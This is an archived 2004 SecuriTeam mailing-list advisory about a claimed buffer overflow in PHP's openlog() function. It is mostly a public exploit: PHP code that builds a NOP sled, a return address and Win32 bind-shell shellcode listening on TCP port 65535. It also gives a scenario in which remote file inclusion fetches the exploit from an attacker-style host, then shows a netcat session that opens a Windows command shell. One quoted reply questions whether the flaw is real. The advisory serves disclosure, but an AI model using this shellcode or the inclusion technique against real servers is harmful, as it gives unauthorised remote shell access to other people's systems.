

[EXPL] PHP openlog() Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-12/0113.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 12/28/04

To: list@securiteam.com

Date: 28 Dec 2004 16:37:54 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

PHP openlog() Buffer Overflow

SUMMARY

PHP openlog() function has been found to be prone to a buffer overflow. Passing an overly long size to the function, caused it to overwrite arbitrary memory, resulting in a denial of service. This overflow can be further extended to cause the program to execute arbitrary code. The exploit code found below can be used to test your system for the mentioned vulnerability.

DETAILS

Vulnerable Systems:

- * PHP version 4.3.1 up to version 4.3.7
- * PHP version 5.0 candidate 1

CVE Information:

<<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0172>>
CAN-2003-0172

Exploit:

```
#####  
##### PUBLIC EXPLOIT #####  
#####
```

Securiteam: [EXPL] PHP openlog() Buffer Overflow

```
## PHP v4.3.x exploit by The Warlock [BhQ], http://go.to/biohazardhq ##  
##### mail:biohazardhq@yahoo.com #####  
#####  
##### PUBLIC EXPLOIT #####  
#####  
/* This "Proof of Concept" sploit is only for Win2k SP4 + PHP 4.3.5 on  
Apache  
2.0.49*
```

Spoit tested with Apache 2.0.49 + PHP 4.3.5 on a Win2K SP4.
bugtraq says local exploit.
This bug is reported a long long time ago for v4.3.1
bugs.php.net does not have any status that refers to this bug while
reported.
The bug is still alive in v4.3.5 and probably newer versions as well,
CHANGELOG of versions to 4.3.7 does not mention the bugfix of openlog();

scenario :

--->

<http://www.vulnerable.box/remincl.php?page=http://3v11.h4x0r.b0x/tooopenlog.php.txt>
BOOM....

netcat www.vulnerable.box 65535
Microsoft Windows 2000 [versie 5.00.2195]
(C) Copyright 1985–2000 Microsoft Corp.

C:\Program Files\Apache Group\Apache2>

--->

Getting a shell is better then parsing commands to the weblog.

mattmurphy@kc.rr.com wrote on bugtraq :

```
>* Buffer overflow in openlog()  
>  
>I've tried passing long parameters (and large integers) to openlog(). No  
>crashes could be caused by this "exploit". I was unable to demonstrate  
any  
>disruption to PHP via this "vulnerability", let alone complete control.  
>Unless the vendor or the original reporter will confirm this with code  
>(which was, oddly enough, MISSING from the original advisory), I don't  
>believe this "flaw" (if it exists) can do any damage to a default  
>production system.  
*/
```

```
#####  
##### PUBLIC EXPLOIT #####  
#####
```

<?php

```
// win32 shellcode: bind TCP/65535, size 399, By The Warlock [BhQ].  
$gift =  
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x02\x03";
```

Securiteam: [EXPL] PHP openlog() Buffer Overflow

```
$gift .=  
"\x02\x02\x83\xeb\xfc\xe2\xf4\xea\x55\x02\x02\x02\x50\x57\x54\x55";  
$gift .=  
"\x88\x6e\x26\x1a\x88\x47\x3e\x89\x57\x07\x7a\x03\xe9\x89\x48\x1a";  
$gift .=  
"\x88\x58\x22\x03\xe8\xe1\x30\x4b\x88\x36\x89\x03\xed\x33\xfd\xfe";  
$gift .=  
"\x32\xc2\xae\x3a\xe3\x76\x05\xc3\xcc\x0f\x03\xc5\xe8\xf0\x39\x7e";  
$gift .=  
"\x27\x16\x77\xe3\x88\x58\x26\x03\xe8\x64\x89\x0e\x48\x89\x58\x1e";  
$gift .=  
"\x02\xe9\x89\x06\x88\x03\xea\xe9\x01\x33\xc2\x5d\x5d\x5f\x59\xc0";  
$gift .=  
"\x0b\x02\x5c\x68\x33\x5b\x66\x89\x1a\x89\x59\x0e\x88\x59\x1e\x89";  
$gift .=  
"\x18\x89\x59\x0a\x50\x6a\x8c\x4c\x0d\xee\xfd\xd4\x8a\xc5\x83\xee";  
$gift .=  
"\x03\x03\x02\x02\x54\x54\x51\x8b\xe6\xea\x25\x02\x03\x02\x92\x03";  
$gift .=  
"\x03\x02\xb4\x1b\x1b\xe5\xa6\x1b\x73\xeb\xe7\x4b\x85\x4b\xa6\x18";  
$gift .=  
"\x73\xc5\xa6\xaf\x2d\xeb\xdb\x0b\xf6\xaf\xc9\xef\xff\x39\x55\x51";  
$gift .=  
"\x31\x5d\x31\x30\x03\x59\x8f\x49\x23\x53\xfd\xd5\x8a\xdd\x8b\xc1";  
$gift .=  
"\x8e\x77\x16\x68\x04\x5b\x53\x51\xfc\x36\x8d\xfd\x56\x06\x5b\x8b";  
$gift .=  
"\x07\x8c\xe0\xf0\x28\x25\x56\xfd\x34\xfd\x57\x32\x32\xc2\x52\x52";  
$gift .=  
"\x53\x52\x42\x52\x43\x52\xfd\x57\x2f\x8b\xc5\x33\xd8\x51\x51\x6a";  
$gift .=  
"\x01\x02\xfd\xfd\x8a\xe2\x68\x12\x53\x55\xfd\x57\x27\x51\x55\xfd";  
$gift .=  
"\x56\x2a\x51\x56\x54\xfd\x57\x22\x8a\xc5\x6a\x41\x4e\x46\x02\x8b";  
$gift .=  
"\xe0\x85\xf8\x33\xc3\x8f\x7e\x26\xaf\x68\x17\x5b\xf0\xa9\x85\xf8";  
$gift .=  
"\x80\xee\x56\xc4\x47\x26\x12\x46\x65\xc5\x46\x26\x3f\x03\x03\x8b";  
$gift .=  
"\x7f\x26\x4a\x8b\x7f\x26\x4e\x8b\x7f\x26\x52\x8f\x47\x26\x12\x56";  
$gift .=  
"\x53\x53\x53\x53\x42\x53\x4b\x53\x52\x51\x53\xfd\x76\x02\x6a\x70";  
$gift .=  
"\xfd\xb1\x14\xfd\x56\x06\xfd\xd2\x8a\xe4\xfd\x77\x03\x6a\xaf\xdb";  
$gift .=  
"\x06\xcc\xfd\x57\x07\x8b\xc1\x68\xfc\xfd\x34\xfd\xd0\xfd\x77\x02";  
$gift .= "\x6b\x7c\xda\xe0\x70\xfd\x57\x06\x32\xd9\x51\xfd\xd3\x02\x02";  
  
$ret = "\xb8\x9e\xe3\x77";  
$nop = str_repeat("\x90", 1024);  
$boomstring = $nop . $ret . $nop . $gift;
```

Securiteam: [EXPL] PHP openlog() Buffer Overflow

```
// openlog($boomstring, LOG_PID, LOG_DAEMON);  
// uncomment openlog(); to enable exploit...  
?>
```

```
#####  
##### PUBLIC EXPLOIT #####  
#####
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:thewarlock@0xf.org>> The Warlock.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.